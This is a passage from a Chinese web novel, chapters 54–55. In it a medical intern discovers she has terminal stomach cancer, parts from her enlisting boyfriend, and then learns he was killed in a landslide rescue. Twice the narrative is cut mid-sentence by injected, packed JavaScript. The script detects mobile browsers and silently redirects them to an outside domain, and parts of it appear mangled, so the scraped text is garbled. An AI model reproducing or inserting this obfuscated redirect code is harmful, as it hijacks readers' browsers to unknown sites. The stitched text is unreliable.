。” 姜雨把她的袖子推上去,捏了捏她的手腕,像是骨头架子外面包了一层皮,感觉不到一点肉。 祁缘始终低着头:“胃有点疼。” “之前就听你说过,你没吃点药吗?” “吃了,但好像不怎么管用。” 姜雨摸摸她脸上的汗,脸上多出几条皱纹:“你中午吃饭没有?” 祁缘摇头,还没等吃就弄撒了。 “我们科室不就能查胃镜吗?过来老师给你看看,没准是有个息肉啥的。” 姜雨说,去前面换了个手套,然后招呼她过来。 一切准备就绪,姜雨给她插胃镜,祁缘拧着眉,这种感觉真是又疼又恶心。 仪器进去不少了,她注意到她一直在流汗,姜雨轻声安抚:“别紧张啊,忍一会儿就好了,老师给你看……看……” 她越说声音越小,祁缘察觉到不对,睁开眼看向监视器上的实时图像,胃角处有一片巨大溃疡,还有异形增生,白苔,水肿,充血…… 姜雨这段时间没少让她练手,遇到这种情况连活检都不用做,光是看着就能确定是癌症无疑了。 甚至已经到了中晚期。 姜雨不说话了,直直看着监视器,好像在试图找出来个好地方来说服她。 她知道祁缘看见了,她懂。 姜雨愣了半天,最后默不作声地把胃镜抽出来,全程没敢对上祁缘的视线。 她好像确实是生了场大病。 “老师……是……癌吗?” 祁缘率先打破平静,没哭没闹,脸上始终没什么表情,人直直坐在那里,像是麻木了。 她很长一段时间都是黑便,只是因为她贫血一直在吃铁剂,她也就没往这方面想。 原来一切都是有迹可循的。 姜雨心口泛酸,她这么出色的学生,怎么可能不知道那是什么意思?只是不愿相信事实罢了。 她抱住她,把祁缘圈在怀里,姜雨能感受到她的身体在颤抖。 “你可是我最引以为傲的学生,老天爷怎么能这么做呢……” 脸上痒痒的,不知是谁的眼泪。 中晚期,治愈率不能说没有,但是太小太小了。 小到想在浩瀚星空里找到她想找的那一颗,很难。 她没有勇气,明知道自己已经在生命的尽头了,还要回头吃化疗的苦。 那样太累了。 于是祁缘的实习期提前结束了。 除了走流程时那几个必须知情的,祁缘让姜雨不要告诉别人,姜雨答应了。 离别时姜雨一直抓着她的手,祁缘也反手挽住她的,她们都知道这将是她们之间最后一次见面了。 “去想去的地方玩玩,吃点没吃过的东西,人活一世,老师不想你有遗憾。” 姜雨在她手里塞了一张卡:“老师这辈子没嫁人,一生无儿无女,你聪明懂事,虽然我们相处的时间算不上长,但我早就把你当成我的孩子了。剩下的时光你一定要幸福。” “谢谢老师。” 祁缘最后拥抱她一次,反手将卡丢进她白大褂的口袋里。 生命已经开始倒计时,这是最后的时光了。 可她的遗憾太多了,想对抗这个世界人总归是渺小的,她到底还是输了。 54. 第 54 章 这些天祁缘整日待在出租屋里,只有买菜做饭这种必须出去的时候她才会开门。 明媚的阳光照在她脸上,这么一对比,她像个行尸走肉。 大概是知道自己活不长了,心情低落以后胃疼次数都比以前多了许多。 活着的念头无非就是期待着宋嶙入伍的那一天。 再见一面,做个告别。 当天祁缘拜托李晴川帮忙给自己化了个妆,好让自己的脸色看上去别那么苍白。李晴川不知道她生病,以为她是转去别的医院实习了,叮嘱祁缘好好吃饭,有什么事记得打电话给她。 祁缘点头:“会的,谢谢你。” 李晴川努努嘴:“我们好姐妹之间还说什么谢谢啊?真是见外。” 两人相视一笑,祁缘冲她挥手,转头进了机场。 之前都是他来找她,这次就换她来吧。 路程三个小时,周围的人都在睡觉,只有祁缘一直睁着眼睛,她在看飞机外的大千世界。 这是她第一次坐飞机,也是她第一次感受到,原来这个世界这么美。 不容自己留恋太久,她匆匆拉下遮光板,李晴川今天给她化的妆这么好看,她可不能还没见到面就把妆面给弄花了。 终于,飞机落地,她打车到宋嶙事先发给她的地点站好,人太多了,祁缘左顾右盼好一会儿也没看到人。刚想给宋嶙发信息,下一秒自己就被一个坚硬的胸膛揽住了。 她抬眼,他穿着军装,看上去成熟了不少。 宋嶙顿住:“你怎么这么瘦了?” “医院最近太忙了,有点累。” 祁缘从他怀里抽出身来,这段时间没食欲,加上生病确实瘦了不少,今天特意多套了几件衣服,没想到他还是感觉出来了。 “多吃点啊,实在不行就请几天假,回家让爸给你熬点汤好好补补。” 她这个犟种,宋嶙知道让她辞职肯定不可能,只能想办法让她好受一点。 “应该是你多吃点吧?入伍以后每天有那么多高强度训练,很苦的。” “好啊,听你的。” 宋嶙眼里带着笑,漆黑的眸子让人一眼望不到底。只有祁缘知道,他现在一边对未来充满憧憬,一边对眼下感到不舍。 而她能做的就是让他别回头,向前走。 祁缘摸摸他的脸,笑了笑:“去做你想做的事吧,等你回来我和爸爸都会为你感到骄傲的。” 看她的眼神宋嶙总觉得哪里不对劲,但又说不上来。他点点头,这一次将她揽的更紧。 “等我回来,娶你为妻。” 祁缘蓦地怔住,少年的眼睛亮亮的,闪耀着对爱的热烈与真诚。 这句话像是打通了她的泪腺,他在预想未来,而她只能在不能和他在一起的痛苦里徘徊。 宋嶙和以前一样,以为祁缘是舍不得他走才哭的,他拍拍她的背,像是在安抚一个脆弱的孩子。 “别哭,哭什么?非要让我心疼啊?” “宋嶙,如果,我是说如果,”祁缘垂下眼睫,尽可能地忍住,皮笑肉不笑,“如果我要离开你了,你会不会恨我?” 她不会无缘无故说出这种话来的。宋嶙皱了下眉,表情越来越凝重:“你是不是有事瞒着我?” “没有,怎么可能,我就是随便问一嘴,想知道你是怎么想的。” 她说完许久他都没再说话,只是搂着她的力气越来越大,仿佛一心想把面前的女孩儿揉进身体里。 祁缘疼得吸气:“宋嶙……” 宋嶙变得不太可控,虽然力度小了但也没舍得让她逃走,他附在她耳边,眼神像利刃一样尖锐。 他说:“只要你活着,我就一定能找到你。” 祁缘生无可恋地笑笑:“那我要是死了呢?” 宋嶙闻言从她的怀里退出来,揣摩着她的手腕,去摸手绳中间缠着的那个平安扣。 “说什么傻话呢?上次我不是说过吗?这是保平安的,你会长命百岁的。” 祁缘看着他的脸,眼底兜着的泪再一次不争气地涌了出来。 保不住了,她快死了。 下次你回来,就没有祁缘了。 宋嶙捧着她的脸,动了动唇。祁缘知道他这是什么意思,匆忙把脸别到一边,眼睛看向别处。 他没想到她会这么抗拒。宋嶙眼圈也红了,祁缘尽量不去观察他的表情,轻声开口:“你不是说过初吻很重要,要等你能给我一个可靠的未来的时候在亲我吗?” 她没有以后了,让他亲吻一个将死之人实在是晦气。 他的初吻还是留给他的下一任吧。 宋嶙木然点了点头,退后两步,“嗯,是我太着急了。” “宋嶙快点儿过来,我们要走了!”何浩楠在远处冲他大喊。 开始催了。祁缘心脏开始狂跳,宋嶙握着她的手,想攥紧,又怕她疼,内心百般折磨以后,他勉强扯出一个笑容来。 “我走了,你要好好生活。” “你别不要我。” “等我回来,我带你去威海看雪。” 他说完就走了,不允许自己流露太多情绪,迈着步子走向队伍的尾端。 祁缘低下头,手心空了。 这个温度,她应该再也感受不到了。 “宋嶙!你也要好好的!” 她把手做成喇叭状放在嘴边,她大喊,这应该是她最后一次叫他名字了。 不等他回头,祁缘转过身的那一刻,泪水决堤。 人生的意义到底是什么? 是出生在破碎的家庭,是十五岁那年就没了母亲,是被校园霸凌,是爱她的人接二连三的去世,是她马上就要奔向她所爱之人,上天却要让他们阴阳两隔。 如果人出生就是来渡劫受苦受委屈的,那这人世间她不想再来。 就算永世不得超生,化作一个孤魂野鬼,她也愿意。 至少不用这么痛苦了。 …… 祁缘拉着行李箱回家时,宋健有些意外。 他给她让位置让她进屋,转头去厨房倒了杯白水给她:“你怎么回来了?不是在实习吗?” 距离实习结束还有很长一段时间,祁缘确实有想过过段时间再回来,但她实在是不想在那个黑暗的出租屋里虚度光阴了。 一眨眼就是生命的尽头,也太可怕了。 祁缘接过水杯,过去坐在椅子上,“太累了,就跟医院请了一段时间的假。爸,我这下无所事事了,你不会嫌弃我吧?” 宋健听完食指屈起,对着她的脑门弹了下:“说什么傻话呢?你是我闺女,爸怎么可能那么想你啊?” 祁缘笑笑:“我就知道爸爸最好了。” “中午吃什么?爸给你做。” “不用太麻烦了,随便吃点什么就行。” 宋健最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259713|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不爱听她说这话,转头去门口换鞋,“瘦成那样了还什么都行呢,我出去看看,买点什么你爱吃的,你先在家玩会手机吧。” 祁缘点头应着。 直到听见宋健下楼的声音,祁缘呼出一口气,她装不下去了,放下水杯,去沙发上躺着。她太累了,光是喘气都觉得累,现在乏力的更是眼皮都快掀不开了。 突然感觉手心毛茸茸的,祁缘闭着眼睛,抚摸着托马斯的毛发,笑了笑:“爸爸把你养的真好,好像又胖了,现在是个大宝宝了。” 托马斯似乎听懂了,一直往她胳膊上蹭。 “等一会儿再陪你玩好吗?我现在浑身上下一点力气都没有了。”祁缘说完,鼻尖一酸,流出的眼泪又酸又涩。 她发现自己越来越爱哭了,低声喃喃道:“托马斯,我好喜欢现在的生活,可是怎么办,我要死了,我没有以后了……” “我从来没有做过什么伤天害理的事,为什么要让我承受这么多?每当我觉得事情在向好的方向发展的时候,现实总会给我当头一棒,把我弄的不知所措……” “我这一辈子一直在失去,命运真的快要把我抽干了……”祁缘抽泣着,身子也跟着颤抖,她捂着眼睛,此刻就像她的人生一样,永远看不见光。 她好委屈,好想活着。 可她没有那个命了。 托马斯歪着脑袋听着,下一秒一跃跳到沙发上,静静地躺在她旁边,嘴里呜咽出声。 它听不懂她说了些什么,它只知道她现在很难过。 小狗不懂得怎么才能让她开心,只能依偎在她身旁,告诉她她不是一个人。 祁缘明白小狗的好意,反手握住它的爪子,另一只手摸着它的脑袋。 有些话,她只能跟小狗说说了。 …… 过了几天,祁缘催着宋健去做身体检查。 “我做那个干嘛呀?你爸身体好得很,这你还不知道吗?” 祁缘看宋健最近瘦了不少,推着他走:“您不是总胃疼吃不下饭吗?我们检查一下,这样我和宋嶙也都放心。” 宋健无奈笑了笑,拗不过也只能答应,“行行行,那就去看看。要我说你们也是想的多,我自己身体我自己知道,都是小病,能有几个小小年纪就得癌症的?” 祁缘跟在后面,听完这话无声咬了下唇角,情绪平淡又破碎。 医院。 祁缘目不转睛地看着监视器上的实时图像,结束后缓缓松了一口气。 还好,还好。 确实如宋健所说,他就是小病,和祁缘之前遇到的那个老人一样,都只是浅表性胃炎。 医生开了些药后,两人结伴回家。 回去的路上,宋健拉着祁缘去了一家水果店,他说家里没什么好吃的了。 摊位前,宋健扯下几个袋子,扭头问祁缘爱不爱吃。 爱吃就多装点,不爱吃就少装点。 已经买了好几样了,祁缘捂住货架上的袋子,不让他拿,“太多了,爸爸,买那么多我们吃不完都放坏掉了。” 宋健低头,确实够了,但他还要买一样。 他从她手底下抽出一个袋子,装了些苹果。 他温声道:“不爱吃苹果你也要试着吃一点,苹果寓意好,吃完了我们小缘后半辈子都会平平安安的。对不对?” 祁缘闻言鼻子一酸,眼底发热。 “对。” 55. 第 55 章 祁缘最近又瘦了,宋健看出来了,以前觉得她是在外面实习太辛苦才这样的,现在越想越觉得不对劲。 他皱着眉往她碗里夹肉片,祁缘没有食欲,看见油腻腻的东西就恶心,但她还是装作若无其事吃下去了。 宋健筷子一撂,问:“小缘,你跟爸说实话,你这身子越来越瘦还不爱吃饭,是不是生病了?” 行为上没表演好,那表情上就得过关。祁缘先是一顿,后又摇摇头:“没有啊,就是感觉不怎么饿。” “我昨天还瞟到你在房间里偷偷吃药了。” 秉承着原则,他真后悔昨天没进去抓过药瓶好好看一看。 “爸,那是管贫血的,不信我拿过来给你看看。” 说完祁缘就要走,她桌面上摆着的确实是贫血药,治疗胃癌的药都被她给藏起来了。宋健看她这反应也觉得自己应该是多虑了,招呼她坐下,笑笑:“爸相信你,可能是我最近没怎么睡好,看什么都疑神疑鬼的。” 祁缘重新坐回去:“为什么没睡好?” 宋健扭头看向宋嶙以前坐的位置,宋嶙入伍差不多一年半了,部队管的严,给他们打电话的次数屈指可数。宋健叹了口气:“这小子入伍那天我去祭奠他妈妈了,当爸爸的也没说去送送自己的儿子,这一半会儿回不来,我还怪想他的呢。” 他说,脸上愈加落寞,祁缘也看过去,自言自语道:“哪有爸爸不想自己的孩子呢?” 这句话说完,两人同时一愣,一时间不知道该说什么。 是啊,她就有个不会想她的爸爸。 他只爱他自己。 祁缘扶着额头,自嘲一笑:“是啊,哪有人能像我这么可悲?” 可悲到穷极一生也没能抓住自己人生那道光。 “别这么说,这跟你有什么关系?都是他没福气。”宋健赶忙纠正,转头往窗外看,今天是个艳阳天,他又说:“一会儿爸领你出去溜达溜达,别老在家闷着。” “好。”祁缘揉了揉眼睛,忍着恶心扒拉掉碗里剩的最后两口饭。 今天天气不冷不热,正是出门的好时候。 想到祁缘还要在家待一阵子,宋健拉着她去了附近的菜市场,他想教教她做一些简单又好吃的饭菜,省的过后再出去的时候她忙的顾不上做饭只能点外卖。 当然,饭菜好吃的前提肯定是如何挑选到新鲜的蔬菜。 宋健带着她去了自己常去的摊子,那个大叔见到祁缘,笑了笑:“难怪你最近成天过来买那么贵的蔬菜,原来是你闺女回来了啊。” “那是,我闺女可必须得吃好东西。” 祁缘听出来点什么,扯了下宋健的袖子,问:“爸爸,你平时自己在家吃什么?” 大叔听见话缝,插话进来:“哎呦,你爸这个铁公鸡那可真是一毛不拔呀,他那包子摊天天不少赚,有钱就给你和宋嶙攒着,到我这儿啥便宜买啥,也就你回来了叔叔能赚着点你爸的钱。” “照顾你摊子都很不错了,还搁那挑三拣四的,下回不来了。” 见宋健沉着个脸,大叔赶忙闭嘴:“别别别,我不说了,不说了。” “这就对了,去给我装条鱼。” “用不用刮鳞?” “刮啊,你得给我收拾好了我才能要啊。” “行,我这就给你弄去。” 大叔去后边捞鱼了,宋健打量着摊位上的蔬菜,问祁缘:“小缘,你看看还想吃点什么?” 一想到大叔刚才说的话,祁缘摇摇头:“没什么想吃的。” “一条鱼哪里够?你这身子就一层皮,快挑挑还有什么你喜欢吃的,回家咱俩好做饭去。” “真没有了,家里只有我们两个人,买多吃不完都浪费了。爸爸,鱼收拾好我们就回家吧。” 她执意,宋健想想也确实,“嗯”了声:“行,都听小缘的。” 两人是从菜市场后门出去的,这条路离家很近。祁缘低头看见路上的花瓣,这才发现道路两旁的桂花开了,黄黄的,空气中夹杂着清香味,明明是令人心安的味道,但她却适应不了。 到家了,祁缘把鱼放进厨房,然后匆匆跑去了卫生间。 她这一路上都恶心的不行,刚关门就吐了好大一口血。 宋健被呕吐的声音吸引过来,他在门外担心道:“小缘,你是不是身体不舒服啊?” 祁缘急忙擦掉唇上的血,回应道:“有一点,应该是昨晚窗户开大受凉了,有点感冒。” “这样啊,那你先缓一缓,爸去厨房给你熬点小米粥。” “好,谢谢爸爸。” 祁缘开始擦洗手台上的血,还好,她现在只庆幸她忍住了,没有让宋健看到这一幕。 这才过了一年半,她的身体比她预想的还要差,无论宋健做的饭菜有多好吃她都没有食欲,胃疼起来更是一宿一宿睡不着觉。 最近更为严重,半夜心神不宁喘不上气,胸口像是被人死死掐住了,难受的发昏。 看来离开的时间要提上日程了。 当晚,祁缘回到房间写了封信,打算以这样的方式离开。 她怕她当面说不出口。 写下的不是她生病了,而是她要出国进修几年,因为这个理由关系到她的前途,宋健不会怀疑,也不会插手。 只是,落笔好难。 泪水浸湿纸张,祁缘小心地抹去,可最后字还是花了。 她想了想,又重新找了张纸,再次提笔。 写给我的爱人,宋嶙: 见字如晤,展信舒颜。 不知道你打开这封信是什么时候了,或许是今年,明年,也或许是十年后,二十年后。 不管什么时候,你都已经长大了,是个彻彻底底的大人了,原谅我太笨,我想象不到你现在是什么样子,但我知道,你一定还是很帅,很阳光,也一定还是个很好很好的人。 还记得我们第一次见面吗?你当时好凶,脸上一点儿表情都没有,吓得我只敢在下面偷偷抠手指。后来我才知道,原来你不是讨厌我啊,只是熬夜打了一宿游戏,没有睡醒而已。 记得北中院里有颗老树,前段时间路过那里,它长得还是那么郁郁葱葱,枝繁叶茂。我想念和你一起在北中上学的日子了,想念你带我去学校后街,跟我介绍那里的美食,为我挑去碗里的洋葱,我还想念你,对我笑,叫我“阿缘”。 后来,你对我越来越好,你很懂我,总是能准确无误地察觉到我的情绪,是你的出现,这才让我脱离从前的苦沼,拉着我走向未来的隧道。当时我真天真的以为我们的未来都会好,却忘了和这个世界相比,我们实在渺小。 老天爷是真的很喜欢捉弄人,好人活的太累,坏人长命百岁。我不能说我有多好多好,可我这辈子没有做过什么坏事,我只是想要有一个家,想要有一个爱我的人,应该是这些太过沉重,是我太过贪婪,于是老天爷惩罚我,要用我引以为傲的专业亲眼看到我的癌症。 所以临别时的亲吻,这段时间刻意的冷淡,你读完这些就会发现我其实都是有苦衷的。我连活着的能力都没有了,那我还有什么勇气去接受你的爱呢?但是说这些我也不是想祈求你的原谅,我只是希望你不要恨我,你不要觉得祁缘多么多么狼心狗肺,那样我会很伤心的。 因为在这个世界上,我最爱的人就是你。 人有悲欢离合,月有阴晴圆缺,此事古难全。 我也不想说太多,你后面还要娶妻生子。我从不低估你对我的爱,以前在路边捡到去世的人身上的挂件,妈妈让我赶快扔了,说摸死人的东西不好。所以,信看完了,你就把你手上的手绳摘了吧。 最后,我还是得用那句老套又实用的话结尾。 祝你身体健康,永远开心。 ——祁缘 这封信写的很短,她也知道很短,她还有好多好多话想和他说,但她不敢写了。 她将这封信藏在她房间的床头柜底下,如果宋嶙发现了就会知道她有多喜欢他,要是他没发现,那就让他觉得她一直在国外吧。 转头,窗外的月亮很大,很圆,像指尖上的年轮,静静的挂在天边。前几天宋健说想做月饼,问她想吃什么馅的,祁缘抿了抿唇,今年的中秋,她大抵是吃不到了。 突然,屋外的房门被叩响。 祁缘从房间探出头来,发现宋健在家。 “大晚上的谁敲门啊?” 两人对视一眼,宋健拦住她,自己去开门。 是何浩楠。 他身穿迷彩服站在门外,怀里抱着个盒子,看见门开了他举起右手朝屋内两人敬了个礼,嘴唇崩成一条直线,咬着牙的同时,身体在颤抖。 “宋叔,这是宋嶙的遗物,他于昨天凌晨三点抢险救援时光荣牺牲了,愿逝者安息,生着坚强。” 说到最后时他已带着哭腔:“请节哀。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263717|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁缘呼吸一滞,愣在原地,他的话像刀子一般,在她心里扎了无数个洞。 何浩楠把盒子递给宋健,宋健一时没反应过来,捂着胸口向后退了几步。 他不敢接。 “是不是……弄错了?” “我儿子前天还跟我打电话呢,他说他表现的可好了,班长还夸他呢……” “浩楠啊,你骗叔叔的,对不对?” 宋健瘫倒在地,何浩楠过去扶他,刚才离得远,谁也没看清他脸上的泪花。 何浩楠用手背抹了一把,“宋叔,你坚强点儿,要是知道你这样阿嶙他指不定得多难过呢。” “你肯定是骗我的,我儿子那么厉害,他怎么可能出事呢?” 宋健抱头痛哭:“假的……假的,你说的肯定是假的!” “宋叔!” “爸!” 宋健大喊完最后一声,突然晕倒在地,不省人事。 “救护车,快叫救护车!” 送往医院的途中,祁缘被这一连串的事情给吓傻了,何浩楠拍拍她的背,让她别紧张,要是她也倒下了这个家就彻底散了。 十五分钟后,宋健被推进了抢救室,祁缘跪坐在门边祈祷,祈祷宋健一定要平平安安。 何浩楠走过来,拽她胳膊:“起来,坐椅子上,地上凉。” 她摇头,眼睛是直的。 何浩楠只好放弃这个想法,他叹了口气,坐在她旁边,一起等待宋健出来。 月光撒在医院的长廊,周边像是渡了一层纱,如果没有发生这件事,今天应该还是再平常不过的一天。 “宋嶙他是怎么死的?”祁缘终于鼓足勇气问出这句话,她想她总该了解事情的来龙去脉。 何浩楠没说话,他在考虑要不要告诉她。 祁缘又问:“他是我男朋友,我不应该知道吗?” 何浩楠看着她,面色苍白,眼睛红肿,有一种说不出的悲凄感。 他突然叹了口气:“你还记得段瑞吗?” 祁缘点头,她当然记得,“这事是和他有什么关系吗?” 何浩楠说:“昨天嶂县那边下大雨,山体滑坡困了不少人,我和宋嶙就在抢险救援这个队伍里。当时刚到的时候房屋已经塌了不少了,到处都是一片狼藉,我们搬那些砖头瓦块搬了好久,那些人出来之后互相看了看说都出来了,我们还以为收工了,结果收拾工具的时候村长拄着拐棍过来说还差两个新搬过来的没出来。” “这时候搜救犬突然叫起来了,我们过去一看正是段瑞和他妈妈在里面埋着。宋嶙走在最前面,我们挖石头的时候不知道怎么段瑞忽然就醒了,他看见宋嶙的时候情绪特别激动,就一直抓着他不放手,莫名其妙说了好多难听的话,对宋嶙骂骂咧咧,说他是混子、痞子,还说他那样的人有什么资格笑话他,羞辱他。” “后来警报突然响了,下一秒山上就开始往下掉碎石,我想拉着宋嶙跑,可段瑞死活不松手,就死死抓着他的手腕,鬼知道他怎么这么大力气。他说他得不到宋嶙也别想得到,宋嶙知道他跑不掉了就把我推开了,然后我就被队友拽走了。 何浩楠越说越崩溃:“是我没能拉住他,对不起……” 祁缘跪坐在地上,很平静地听完事情的经过,从头到尾垂着脑袋,神经麻木,一言不发。 原来追溯源头,造成这一切的人,是她。 祁缘颤抖着,苍白的嘴唇上印着深深的唇纹,她靠着墙,胃在绞痛,可远不及心痛。 汗水浸湿脸颊,她面无表情地看向窗外。 她曾在十八岁那年许下两个愿望。 “四海升平,顺遂无虞。” 竟没想到一个也没成真。 她知道自己以后都不会许愿了,现实从来事与愿违。 嗯,她也没有以后了。 祁缘扯了下僵硬的嘴角,笑的凄惨。 不知跪了多久,抢救室亮着的灯终于熄灭了。医生告诉她,宋健的命是捡回来了,但他也因为受到了太大的刺激,心理承受力度到达了崩溃的临界点,患上了永久性的精神失常。 祁缘的眸子再一次失去了光泽。 如她所想,她还是没能吃到那个月饼。 面对眼前的一切,她真的不知道该怎么办了。 有人带她下地狱,有人带她上天堂。 而带她上过天堂的两个人,也因为她双双下了地狱。